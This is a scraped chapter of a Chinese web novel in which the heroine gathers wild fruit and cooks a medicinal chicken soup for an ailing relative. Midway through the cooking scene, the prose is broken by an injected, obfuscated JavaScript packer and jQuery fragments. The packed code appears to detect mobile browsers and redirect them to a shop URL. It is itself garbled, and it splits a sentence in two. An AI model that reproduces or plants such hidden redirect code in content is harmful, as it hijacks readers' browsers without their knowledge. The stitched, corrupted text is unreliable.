12. 八珍汤
味的,特别清口,营养价值也高,谢朗吃药口中苦,吃这个很合适。

    野葡萄是小小的青色的果实抱在一起,口感是酸甜带涩,它更适合酿酒,酿造出来的酒水味道非常好,像果子挤压出来的汁水一样,而且不醉人,特别适合老人女人和孩子。

    如果拿出去卖的话受众应该不用担心。

    想到这里,她采了不少,特别是山葡萄,这一片的她几乎采光了。

    采完果子后,谢玉珍望着天色,决定出山去,山脚下还是遇到那一片茭白,她放下背篓,先把果子拿出来,把采的茭白放进去后再把果子放在最上面,怕会压坏了。

    回到家里,锅里的糖都凝固了,谢玉珍把糖铲起来用布包起来放进橱柜里,把锅又洗了一遍。

    坐在台阶下处理笋子和茭白,这些需要把外面的皮剥掉,漏出里面脆嫩的芯,这才是最精华的部分。

    笋子泡在水里,撕成一长条一长条的细丝,茭白切成片就行。

    然后把蘑菇都拿出来洗干净放到一边备用。

    先把一整只鸡剁成小块,冷水下锅焯水——

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16780301|190384||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    必须要焯水,因为鸡骨头里面有很多血液,如果不清理干净,不但汤浑浊而且还影响鲜味。

    鸡肉煮开后把上面的浮沫撇掉,煮的时间太长,血渣会沾到肉上。

    谢玉珍把鸡肉捞起来,用清水清洗干净,反复地洗过几遍,直到洗鸡肉的水洗成透亮。

    谢玉珍把炖汤的砂锅和火炉找出来,点上火后,放入两片生姜和几个干枣,把鸡肉和水加进去。

    这还不算完,谢玉珍取出一片纱布,撕出一块方正的,把买的药材都放进去扎紧,然后把药材包和笋子菌菇都放进去后,盖上砂锅盖炖煮。

    炖的时候千万不能放盐,不然鸡肉会老。

    这八珍老母鸡汤大概要炖半个时辰,这个时间,谢玉珍便动身把谢朗接了回来,去接的时候把药钱都结清了,这下,家里是真的没钱了,只剩昨天卖汤饼的几百文了。

    成功变成了一个穷鬼。

    谢玉珍苦笑,一定能赚回来的,塞翁失马,焉知非福。

    谢玉珍从背筐里拿出一个羊桃把外面的毛刺搓洗干净塞到谢朗手里,温声道:“自己吃吧,别想别的,好好养好身体。”

    谢玉珍坐在泥炉前看着火,两眼有些怔怔,不知道在想什么。谢朗时常看不懂她的眼睛,分明之前是很好懂的,现在就好像是蒙了一层灰一样,看不清辩不明了。

    谢玉珍揭开砂锅的盖,一股白色的雾气向上喷涌,她特地让它多炖了一会儿,里面的鸡肉用筷子用力一夹就脱骨了。

    因为是药材煮过的,多多少少有一点药味的,但被鸡汤的鲜美和干枣的甜醇牢牢压住,反而有种奇特的味道了,反正感觉不坏。

    谢玉珍将几撮盐撒了进去,搅了几下后用木勺舀起一勺,吹了吹送进嘴里。

    刚刚好,她想,不需要太咸的,她拿出碗给谢朗捞了一碗汤,汤里还有新鲜的菌菇和应季的秋笋,还多添几分菌菇的鲜,不光是喝,光是看着就知道十分美味。

    菌子在汤碗动荡间上下浮沉,人间清欢皆在这一碗里面了,春秋两季,最应当品尝的,不就是各

本章未完,请点击下一页继续阅读>>